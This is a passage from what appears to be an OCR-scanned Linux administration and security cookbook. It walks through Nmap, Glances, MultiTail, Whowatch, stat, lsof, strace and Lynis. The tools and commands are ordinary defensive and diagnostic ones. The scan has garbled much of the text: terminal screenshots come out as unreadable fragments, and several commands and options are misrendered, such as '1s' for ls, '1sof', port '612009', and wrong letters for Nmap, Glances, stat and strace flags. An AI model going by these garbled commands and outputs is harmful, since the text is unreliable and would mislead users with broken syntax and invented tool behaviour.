PORT STATE SERVICE VERSION

2:/tcp open ssh JpenssH 7.1pZ2 Debilan 2 (protocol 2.8}
MAC Address: 00:9C:29:35:02:5C [VMware)

service Tnfo: 05: | inux




How it works...

When Nmap is simply run on an IP address, it does a basic scan and
tells us which ports are open on the target system. By knowing the
open ports, we can identify the services running on the system. In
the same way, Nmap is used to scan the local system by providing
the IP address of the local system.

Nmap is used to scan multiple IP address at the same time by
providing the IP addresses in the same command. Also, Nmap is
used to check which systems are up and running in the network
using the -sp option.

It is also used to scan for a particular port using the -p option and if
the -o option is used, it fingerprints the target system to tell the
operating system on which it is running.

Nmap is also used to do other things such as identify the software
version of the services running on the target system.



Using glances for system monitoring

For an administrator, system monitoring is also about monitoring the
performance of the system by checking the processes and services
running on it. But with limited space on the screen, it sometimes
becomes difficult to have all the information. In such situations, we
would like to have a tool that can show us maximum information
about the system, such as CPU, disk 1/0O, memory, network and so
on, in a limited space.

Even though we have individual tools to monitor this information,
with Glances, an administrator can see the maximum amount of
information in the minimum amount of space. It can adapt the
information dynamically as per the size of the terminal window.
Glances can highlight programs that use the maximum amount of
system resources.



Getting ready

If you are installing Glances on Ubuntu, then it is recommended that
you use Ubuntu version 13.04 and above. For other versions of
Linux, it is preferable to use the latest version. For our example, we
are using Kali Linux 2.0.



How to do it...

To understand the workings of glances, we will follow the steps given
here:

1. The first step is to install the package using this command:
apt-get install glances

2. After the installation has been completed, we have to edit the
/etc/default/glances file and change the value of the run

variable to true, as shown here:
GNU narno 2.5.1 File: /etc/default/glances

# Default is to launch glances with '-s' option.
#DAEMON_ARGS="-s"

ue' to have glances running at startup

Doing this will automatically run giances during the system
startup.

3. To manually start the tool, simply run the g1ances command. You
will get an output window, as shown here:
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In the preceding window, we can see different colors for the text
displayed. The meaning of these color codes in glances is
defined as follows:

Green: This means that all is ox

Blue: This color says carerur, attention is needed

Violet: This color signifies warnT NG

o Red: This refers to something being crrT1cAL

. The color codes work on the basis of the default thresholds
defined in the configuration file of glances. We can change
these threshold values by editing the /etc/g1ances/glances.conf
file.
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5. By default, glances refreshes the value at a time interval of 1
second. We can change this value when running glances using
the -t option followed by the time in seconds:

glances -t 5

6. At times, we may not be able to physically access our system,
but we still want to monitor the performance of the system.
Glances can help us do this remotely. For this, we first need to
enable the client/server mode of Glances on our system using
the -s option and also bind it to the IP address of the system

using the -8 option, as shown here:

: glances -s -B 192.168.1.102
Glances server is running on 192.168.1.102:61205

7. Now the glances server is running on the system whose |IP
address is192.168.1.102, and by default, it runs on port 612009. If
prompted for a password when enabling the client/server mode,
define any password of your choice.

8. On the remote system where you want to access glances, run
this command:

glances -c -P 192.168. 1. 102

9. Once we run this command, we will get a window, as shown in
the following screenshot, where we'll see connected to Kali -
IP 192.168.1.102/24 in the top-left corner, which tells us that we
are now accessing glances remotely:
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. For this command to work on the remote system, it is necessary
to have glances installed on this remote system as well.



How it works...

After the installation of Glances, we enable its autorun during the
system startup.

We run it using the g1ances command, and we modify the threshold
value for the color codes by editing the /etc/glances/glances.conf
file.

Using the -t option, we modify the refresh time interval, and using
the -s option, we enable the client/server mode of Glances, which is
then accessed remotely on other systems using the -c option and
the IP address of the system on which Glances is running.



Monitoring logs using MultiTalil

For any system administrator, monitoring log files is a very tedious
task, and if we have to refer to more than one log file at the same
time to troubleshoot any issue, it becomes even more difficult to
keep switching between logs.

For such situations, we can use the MultiTail tool, which can help us
to take a look at multiple log files in real time. Using MultiTail, we can
display multiple log files in a single window or shell, and it will show
us the last few lines of the log file in real time.



Getting ready

To use MultiTail, we don't have to set up anything in particular on our
Linux system. Only the mu1titail package needs to be installed.
This can be done using this command:

apt-get install multitail

root@ij-dev:~# aplt-get install multitail
Reading package lists... Done

Building dependency tree

Reading state information... Donsz

The following NFW packages will he installed:

multitail
B upgraded, 1 newly installed, ® to rerove and 241 not upgraded.
Need to get 141 kB of archives.




How to do it...

Once the MultiTail tool has been installed, we can start using it as
per our requirements using these commands:

1. If we want to view two log files using muititail, we will run this
command:

multitail /var/log/syslog /var/log/boot. log

j-dev rtkit doemon[1715 pemoling known real-Lice Lhreads.
v rtkit- 0 A Demated 8 threads.
dev rtkit-daeman 1715 The canary thread 1s apparently starwv
Taking ac
g 15:44:3

v rtkit- 1715 pemating known real-time threads.
v rtkit o 715 Pemaled 8 L

15:4 tj-dev rtkit-daeson 1715 IThe canary © d is apparently starw
Taking aclion

v rtkit-daeso r1l5 Pemoting known real-tire threads.
deyv rtkit-daemon/ 1715 pemated 0 threads.
[A2/4R 16:88:39

Starting

Starting

Slariing hrepo Lon@l 246 oK

starting r backgre og scing daemonfli AL oK
Star 2 "

ting lighibM™ Display ®an
Stopping %end an event tTe in
Slariing
#1] fvar/log/boot.log kG - 2016/02/18 16:08:39

S B S R R B R R

We can see that the screen has been split into two parts, each
displaying the content of individual log files.

2. If we want to scroll through the two files that are open, just press
b and a menu will pop up, as shown in the following screenshot.
From the list, we can select the file we want to monitor in detail:

| select window

iI 00 /var/log/syslog

|

O

81 /var/log/boot. log




3. In the new window that opens up, press gg or G to move to the
top or bottom of the scroll window. To exit from the scroll

window, press q.
4. If we want to view three log files in two columns, we can use this

command:

multitail -s 2 /var/log/boot. log /var/log/syslog
/var/log/auth. log

* startlng system ¥ runlevel compatibiffeb 18 15:44:13 t]-dev rtklt-daemon(1715
lLI.'-,m 4G 0K Demoling knosn roal-Lime Lhreads.
* starting ACPL de-.':'l:-nm 946G O 1:] :Je.r rtkit-daeron 1715
4 Ekarling anac{hironislic cronflo4c Demo Led
(414 Fe 16 t] d:.-. rtkit-daeren 1715
* Starting save nessagesgilicscl ] ry thread 1= apparesntly stary
(414 ing. Taking actiaon.
: Jtc-rH.nq autenatlc crash repert gens t1 dev rekit-daemon 1715

m 40| 0K Pemating kn cal Lime Lhreads.

ing regular background pragram e v rekit-dasmon 171%
dacmond] 940 oK

deTerred execution schedul

.r:-p[n ng sSave mescagesiEl 99t B
Ok Fe 17 =y CRON 13758]: pam_

* Starting CPU interrupts balancing dao [ ] ession apened far u
emanfi[ 24067 oK :

Y Blarbting [LighlhM Display r".m..r.;:"m 1 Lj dew CROM 13758 pam
4G QK nix{cron:session): session closed for u
d Elopping Serd an cvenl Lo Lndicabe 3
Lymouth is upﬂi G0 0K eb 18 15:52:43 tj-dev gmome-Scresnsaver
* Ctartlng crash report submissian dap Lalag !_'l-'r pam: wunlocked legln kevring

The preceding screenshot shows the three log files in two
columns.

5. MultiTail allows us to customize the color for individual log files
as we open them while merging both of them in the same
window. This can be done using this command:

multitail -ci yellow /var/log/auth. log -ci blue -I
/var/log/boot. log
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How it works...

When we provide the names of the two log files to MultiTail on the
same command line, it opens the two files in the same screen by
splitting them into two parts.

To view more than two log files using MultiTail, we specify the
number of columns in which the screen should be split using the -s
option followed by the number of columns.

MultiTail also allows us to view multiple log files in the same screen
without splitting the screen by differentiating the files on the basis of
color. The color can be customized using the -ci option.



Using system tools — Whowatch

While keeping a watch on the network, an administrator would also
want to keep a watch on users who are currently logged on to the
system and also check what each user is doing on the machine.

Whowatch is the perfect tool for all these tasks. It uses a simple
text-based interface, which is easy to use and can display
information about a username, user process, and also the type of
connection being used, such as SSH and telnet.



Getting ready

Since Whowatch doesn't come as a preinstalled package in Linux,

we have to install it to use it. The command to install Whowatch is as
follows:

apt-get install whowatch

rool@lj-dev:~# apl-gel inslall whowalch
Feading package lists... DNone

Building dependency tree

[Reading state infermaticn... Done

The following MEW packages will be installed:
whowatch

@ upgraded, 1 neWly installed, ® toc remove and 311 not upgraded.
Meed to get 37.4 kB of archlves.




How to do it...

To utilize the Whowatch tool to its maximum benefit, we have to
understand the details of the tool properly:

1. To start using the tool, just enter the whowatch command and a
screen will appear, as shown here:

(lightdm) tajinder tty7
(init) tajinder pts/1 :1

The preceding screen lists all the user accounts that are logged
in.

2. From the list, we can select any user account, and when we
press Enter, we can see information about all the programs that
a user is running.

(init) tajinder ptsfo :1
11926 - gnome-terminal

14525 bash

11936 LEE

11991 su

11999 bash

14610 whowatch
11935 gnome-pty-helper

3. On the same screen, we have more options at the bottom, using
which we can get more information about the user and also the
programs that have been run by them, as shown here:



4. On the main screen of Whowatch, we can see a menu at the
bottom.

5. We can see here that we have to use the F9 key to access the
Menu options.

6. Once we press F9, we see a menu on the top of the screen.
Use the arrow keys on the keyboard to move through the menu.
When we select the Process tab, we get a submenu, which
gives an option, called the KILL signal, to the running
processes. Similarly, we can see more options in the same
submenu:

File View Process Users Help

gle owner
Toggle long
Signal list

Send KILL
Send HUP
14610 send TERM
11935 gnome -

7. When we move to the View tab, we get these options:



Process Users Help

All processes t
Users Ent
User proc Ent
Details d
sysinfo s

8. The last tab is Help, under which we have the Keys option.

About
Copyright

9. When we click on Keys, it will open up a new window and show

you details about the keys to be used for different tasks, as
shown here:




10. Press s to get more information about the system.

11. If we press t, we get a list of all the processes on the system in a
tree structure, which we can see here:

188 processes




How it works

Whowatch can be started by simply typing whowatch in the command
line. When it starts, it shows a list of usernames that are logged in.
Just press Enter on any username to get information about all the
programs running under that user.

To access more options in Whowatch, we enter the Main menu by
pressing F9 key. We then get various tabs such as Process, View,
Users, Help, and so on.

The Process tab gives options to manage processes, while the
View tab gives options to search and view the processes. The Help
tab has an option to see the keys that can be used in Whowatch as
shortcuts.

We use different keys to access system information and get a list of
all the processes.



Using system tools — stat

While working on Linux, the most commonly used command is 1s,
which gives a listing of the files in the directory we specified.
However, it shows only a little information about the files.

Instead, if we use the stat command, we can get more information
about the files/directories when compared to using 1s. Because stat
is able to get information about a file from its node, it is able to give
more information about the files.



Getting ready

Since stat is a built-in command of Linux, nothing else is needed to
be installed in order to use it.



How to do it...

This section will explain the options and usage of the stat command.
Using stat, we will can get the detailed status of a particular file or
filesystem.

1. Suppose we have a file called example.txt. When we perform a
long-listing of this file using the 1s -1 command, we get
information about the file, which includes when the file was last
modified.

However, when we use the stat command to check the details
of the same file, it shows extra information about the file, and
the difference can be seen here:

rool@glj-dev:-8 Ly -1 example.lxi
FW-T--F-- 1 root root 2?8 Febh 18 1B:28 example.txt
rovl@lj-devi-0 =lal exarmple.lxl
file: "example. txt'
T2 20 Elocks: & 0 Block: regular file
e: gathfza49d 3 e

[B6dd)-rw-r--r--) id: [ g/ oot id: g/ root)
i PE16-82- 18 181281 [ 50

y: 2016-82-18 18

r 2016-02-18B 15:20:23.0310860858 +0530

2. In the preceding output, we can see that the Modify and Change
time are same. But the access time has changed. It also shows
the permissions in both the octa1 and rwx formats. Many other
details are also shown.

3. Now, let's rename the file as samp1e.txt. After this, if we check
the details of sampie.txt file using stat, we can see that the
change time has been updated:



roctgt]-dev:~# nv example. txt sanple.txt
rool@l j-dev: -
roat@t] dev:-# stat sample.twt
‘sample txt'
20 B I0 Block: 4896 egular file

ga1h/2a19d Inode: 134187 Links: 1
(0644 -rwW-r-- ) uid: ( B/ root)  Gid: ( 8/ root)
5 B :13.658859554 +0530
yi id3. 86005E +0534d
: ; TiEA.S42RRE445 10530
Birth:

. Let's suppose we have three files, sample.txt, samplel .txt, and
sample?.txt. If we want to check the details of each of these
files, we can either use stat individually with each file, or else
we can use wildcards with stat to show the details of all three
files in a group, as shown here:

ront@t] dev:-% stat sample=
: sanplel.txt’
2 Blocksz: & ok regular File

Inode: 172596 ink
Uid: ( ] idz af roct)

Birth:
File: "sample2.ixt
Slze: 78 Alock=: 8 0 Block: d876 regular file
Deyice: s81h/fz20494d Inode: 1¢2569 Links: 1
Access: [B644/-rw-r--r--1 Uid: aj rooly  Gidz af raul)
=18 AB:3Fz15.1 GEGS +E530
- 5 +0530
5 1E53A

"sample. LsL”
Fa: ]
B1lh/25849d Inode: 134187 Links: 1
(@o4/-rw-r=-r--3 uld: ¢ g/ ropty  Gld: ( o/ root)
55: £016-0£-18 1B:3£:12.174895E8B6 +0530
2210 -18 18B:2 JBGOO58 +0534
FRIG-B7 18 1R:27:86. 542808445 1A53E

Elock=: 8 0 Black: 4876 regular file

. We can use the stat command to check the details of the
directories as well:



Blocks: 8 10 Block: 48496 directary
Inode: 172970 Links: 2
fdraxr xr-x)  Uld: ( Bf root) Gld: ay root)

-f82-1B 13:55:12.555963535 ~0536
16-02-18 18:36:16.5112082321 0536
AFR16-E2-18H THI3R:1T6.5T149087231 +B538

. In the case of the directory, we can see an extra detail about the
number of links.
. If we use the stat command for any default directory of Linux,
such as /etc/, we can see that we get a big value for the
number of links:
rect@tj-dev: /# stat etc

; Blocks: 24 1D Elock: 489G directary

t Tnade: 131873 I inkz: 131

 (O755 /drwkr-xr-x)  Uid: [ ay root) Gid: af root)

18 15:69:12.23 519 +B8530
521752 Lo+B538

e 2016-82-158 15:17:241.502385395 +3530

. If we want to see the details of a filesystem, we can't use 1s for
this. However, stat works on a filesystem as well. We get the
same kind of details as filesystems and files:

rootgti-dev:/# stat Sdevssdaz
File: *[Sdev/sdaz'

Blocks: 0O I0 Block: 4894 block =pecial ile
lrnode: ¢ Lirks: 1 Device type: 8,2
- rook) Gid: [ a; dizk)

f. 119821189 +
1140821189

. If we use the -r option with the stat command while checking
the details of filesystem, it will display the status of the
filesystem.



rootEtj dev:/# stat f /dev/sda2
File: "jdev/sdaz"
ID: @ Mamelen: 255 Type: Lmpls

Block =ize: Fundamental block size: 3396

_._‘_
Blocks: Tetal: 651841 Free: 51848 Available:
1

Inocdes: Tota 51841 Free: BG592

61640




How it works

We use the stat command to get detailed information about a file.
When a file is renamed, stat tells us the time that the change was
made. It also gives information about multiple files at the same time
using wildcards with the stat command.

stat works on directories and filesystems as well. In the case of a
filesystem, stat can display its status using the - option.



Using system tools — Isof

At times, we may face situations where we are unable to unmount a
disk due to the fact that some files are being used. However, we may
not be able to understand which file is being referred to. In such
situations, we can check which files are being opened by which
processes running on the system.

This can be done using the Isof command, which stands for List
Open Files. Since Linux considers everything, such as directories,
devices, sockets, and so on, as a file, we can use 1sof to easily
identify all the open files.



Getting ready

To use the 1sof command, it is recommended that you are logged in
from root account, or else, use sudo from a nonroot account so that
the output of the 1sof command is not limited.



How to do it...

In this section, we will explore the different options that can be used
with the 1sof command to understand how it works.

1. If we just run 1sos, it will list all the open files that belong to any
active process on the system. If the output is long, we can use
the 1ess command to scroll through the output

lsof | 1less

The output that is displayed is shown in columns, such as
COMMAND, PID, USER, FD, TYPE, DEVICE, and so on, for better
understanding of the files.

The rp column has information about file descriptions such as
the current working directory (cwd), root directory (rtd), program
text (txt), and so on. If the b column contains information such
as ou, 1u, and so on; the number signifies the actual file
descriptor and the letter signifies different modes (read access,
write acCess, and read/write aCCeSS).

TYFE DEVIZE SIZESOFF NODE MANE

L= g,1 2

DI 3 2

RFZ ; b1

REG B, 3 20 nuz-anud Libnss tile
RES H, 11454 5 w-gnu i ld-2. 1 53
ok . B3 0

H

UHA

rIro

FTFD

1
1
1
1
1
1
1
1
1
1
1
1
1
1
1

2. To check the list of all open files for a particular user, we use the
-u option followed by the username:

lsof -u tajinder



- 115R3 tajinders L] Tk f,9 g anon_inode
i- 11583 Lajinder alsluke &,9
11583 tajinder J Axdd3fdza8
3 tajinder b 5,9
tajinder
11583 tajlnder
I- 11583 Lajinder

- 11583 Lajinder

. Using 1sof we can check whether there are any processes
running on a particular port. To do so, we have to use the -i
option and run this command:

lsof -i TCP: 22

root@tj-dev:~-g 1lsof -1 TCP:z2
COMMAMD PI1D US=H FO I¥YPz DEVICE 51ZEfOFF MUDE MAME

15455 root Ju IPv4 108126 6td TCP *:=sh (LISTEN)
15455 root qu TPvia 168178 ath TCP #:ssh (LTSTEN)

. In the preceding example, we checked for a list of running
processes on port 22, and we saw that the SSH process was
running.

. If we want to check the exact number of open files on the

system, we can run this command:
tajinder@tj-dev:~$ lsof | wc -1

5220

In the preceding example, there are lots of open files, 5220 to
be specific.

. To check which user is looking at what file and which commands
are being run by the user, we can use this command:



lsof -i -u tajinder

L dev:~# 1=af -1 -u tajinder
COMMAND PTM 5 Fh ¥PE DFYTCE STFF/OFF NODE
avahi-dae TiT EW i 130 i3 BrE  UDP *:~dn:
avahl-dae i \ L4y g 3] 3 upP *:mdn
i 15u - iy
16u  TPuhA . Bt Une
H2u i B 1CH
gu L 3 upp *:
nobody 4u : @ upr Lor L:domain
nobody Bu TP 2149 aLd  TCP

y 1o I 91323 ate UDP A
nobody 1l P : L o
glance-ap AR32 glance du - ] il TCP *:
glance-re  49¢ glance | vd 20403 Bte 1cP

We have many more options while using 1sof, which can be
explored by referring to the man page of the 1sof command.



How it works

Running the 1sof command shows a listing of all the open files on
the system. Using the -u option and specifying the username, we get
a list of open files for a particular user.

When we use the -i option and specify a port number, we get
information about any process running on that port.

When we use both the -i and -u options with a particular username,
we get information about the files and commands being accessed by
that user.



Using system tools — strace

When running any command or program on our Linux machine, you
might wonder what the background working of it is. For this, we have
a very useful tool in Linux called strace.

This a command-line tool that can be also used as a diagnostic or
debugging tool. strace monitors the interaction between processes
and the Linux kernel and is helpful when we want to debug the
execution of any program.



Getting ready

This tool is available for all Linux-based systems by default. Hence,
nothing else needs to be configured to start using strace.



How to do it...

Let's see how strace can be used in various ways to trace the
execution of any program from start to end.

1. To trace the execution of any executable command in Linux,
simply run the strace command followed by the executable
command. If we use strace for the 1s command, we get this
output

roct@tj-dev:~7 strzce 1s
(" fhinfls", ["1="], [/* 33 vars &/7) = @
— AxB1dT0368
(" fete/le. so.nobwcap™, T_OK) = -1 [NOLNT {MNe such Tile or directory)
LL, #1%2, FROI READ|FHOI WRLIE, MAP PRIVAIE PMAF BNONYMOUS, 1, @) = BxDsrofbed

= -1 EMOENT {Me such flle or directory)

» 13L] sl 1
mmape | NULL, 62780, PROT SCAD, MAM PRIVATLC, 2, @) = Oxbi7of6od
close(3) ;

2. In the preceding screenshot, the output displayed has been
truncated. If we check the last few lines of the output, we see
some write system calls where the listing of the current directly

has been displayed:

s -1, @) Bl 2300
nts  Jownloads emamples.cesktop Music

3. To check the listing, we can run 1s alone in the same directory,
and we'll see the same listing that we saw in the previous

fhome ftajindert 1s
AT examples. deskbop  Husic Pictur

e Lajinder d JJ




4. If we want to have a statistical summary of the strace command
to be displayed in a neat manner, we can use the -c option:

strace -c 1ls

When the preceding command is run, we get the following
output

rootgt]-dsv: fhome/tajinder# stracs -c Ls
] ) Music Plctures Public Templates Wicdcos

cells srraors syscall

r=ad

O A

1

1
3
3
3
1
. |
1
1

-t} - 8
SxbiTTTOO0

Jd.so.nolécap”, 1T_UK) = -1 LNOLMI (Mo such File or directory)
A opend " FLabdi3R6- 11y -gud Tibselings 501", O_G00M ¥ [O_CHEXIL) = 4

6. The default strace command displays all the system calls made
by the executable program. If we wish to show only a specific
call, we can use the -< option. So, if we want to see only the
open system call of the 1s command, we have to run this
command:

strace -e open ls



When the preceding command is run, we get the following
output'

volal]- dP..chnH;Idllnuelu uL[d‘ﬂ - upen 1;
open{ " fetc/ld.so. cache", f .
open( " /11b/13E6 ¥ ; .'11nu< n
opent " fLib/L inux ||uflLIJ'L so.1",
openi " /Lik/1 inux-gnuflibacl.so.:
open( ™ f11h/1 { 3
opent " flib/i i wflibdl.s0. 2 RDJHL\ G_CLO
open{ " fLib/i386- Li nuflibp 'DCHL'H
apen(” fL1lb/l 1inux qnufllhattr.nﬂ 1“,
gpent " fproc/ ysiens", O_RDOMLY|Q_| L.r‘IFuE'I E) = 3
open{ " fusr/Llib/ Locale/ locale-archive", O _RDOMLY | C_LARGEFILE |O_CLCEXEC) - 3
Desktop Downloads Music Plc v ﬂmpl tes
Documenls esamples.desklop oculpul Public Videos

. If we wish to save the output of the strace command in a file for
the purpose of viewing it later, we can do so using the -o option:

strace -o output. txt 1ls

Here, output. txt is the name of the file that will be created to
save the output of the strace command:

rooTftj-dev: fhampi—a11udrrﬂ strace -o output.txt L=
Music Pictures Tlemplates
. ouTput.tst Fublic Videas
Jlajinderd cab oulpub.ixl
=ty [PEst ] [i= 39 vars * )y = 8

IEMT (Mo such flle ar directory)

i PPHT WRTTE, MAP PRTWATE|MAP AMONYEOIUS, -1, A) = OzhTé

c/ld.se.preload", R_OK) JENT (Me such flle or directory)
Ld so.cache”, O_RDMOHLY|O_CLOEXEC)
r"-"I' mode=5 IFREG B804, =T siF ..}'] =
» 02788, FROI_RLAD, l"l;-ll-'_l-'i--‘.l'.'1-1IL_I 3, 8} Oxb? o=anun
=f

Note

If we want to use strace in any process that is currently running,
we can do so using the ID of the process. In our example, we
are using the process of firefox, whose process ID is 16301.



8. We run the following command and also save the output of the
command in the firefox output.txt file using the -o option:
root@tj-dev:~# strace -p 16301 -o firefox_output.txt

Process 16301 attached - interrupt to quit
Process 16301 detached

9. We can then check the content of the output file using the tai1
command or any text editor of our choice.



How it works

When the strace command is used on any other Linux command or
program, it traces its interaction with the Linux kernel.

When the -c option is used with strace, we get a statistical summary,
and if the -t option is used, we get time stamp preceding each
output line.

Using the -< option, we see only a specific call of program execution,
such as open system calls. Using the -o option, we write the output
of the strace command to a file.



Using Lynis

Monitoring log files on Linux manually is a very tedious task. To
make it easy, we can use auditing tools on our Linux system, which
will be able to automatically scan the whole system for any kind of
security issues.

Lynis is easy to use and we can get a security report in a faster
duration of time. This is helpful when scanning Linux systems for
vulnerabilities and malwares.



Getting ready

To use Lynis, it's not necessary to install it. If you are using an
Ubuntu system, you can use apt-get to install the Lynis package:

apt-get install lynis

When the preceding command is run, we get the following output:

apt-get install lynis
= 11 ... Done

lynis is already the newest version (2.1.1-1).

For other Linux distributions, simply download the package from
https://cisofy.com/download/lynis/.

After downloading it, you just need to use ./1ynis audit system and
the scan will start.


https://cisofy.com/download/lynis/

How to do it...

Using Lynis is very simple. Just start the scanning process and
everything will be done automatically. Let's explore the working of
the tool now:

1. To start the scan, just type this command:

lynis -c

When the preceding command is run, we get the following
output

e Ly

[ lynis 2.1.7 ]

-1 Initializing program

- Catactiry Cs... [ DMOHC ]

2. Once we run the preceding command, scanning will start and it
will continue for some time, depending on the packages it finds
on the system. The scan includes different sections, such as
system tools, kernel, filesystem, and many more.

3. Once the scan has been completed, we can see an overview of
the details at the end of the output screen:



Lynls securlty scan detalls:

: 5Bb [ HAEERRRER Y
i |
i

Quick overview:
- Tirewa.l %] - Malware scannsr [V]

Lynis Modules:
SecuUr_ty Aad-t [V]
Ylrerability Scan [V]

» fvar/logd Lynis. log
© fvar/log/lynis-report.dat

4. After the scanning is done, a report is generated and saved in
the /var/1og/1ynis.log file. When we read the content of this
file, we get an output similar to what is shown here:

AN Slaclicg Pyni= 20007 w Lhe 210 11206, Do Led el 2250 aly PE° o 0N

5. We can scroll through the log file and see which tests Lynis has
performed.

6. In the preceding report, what needs our attention are the entries
containing the word warning. Hence we can run the given
command to find all the lines in the report that contain this word:



grep Warning /var/log/lynis. log

When the preceding command is run, we get the following

. As we have done for warning, in the same way, we can find all
the lists of all the suggestion given by Lynis using this
command:

grep Suggestion /var/log/lynis. log

When the preceding command is run, we get the following
output:

i

. We can also check warning and suggestion by scrolling to the
end of the report in the /var/10g/1ynis.10g file. We will see a
result similar to what is shown here:

- lynis A1 Resul s |-

https: /o

- Couldn'L







How it works

The Lynis scan can be started by executing the 1ynis -c command.
Nothing needs to be done while the scan is running.

After the completion of the scan, the report is saved in the
/var/log/lynis.log file.

We find some lines in the report that contain the word warning and
suggestion as these are lines that need our attention according to
the requirements of Lynis.
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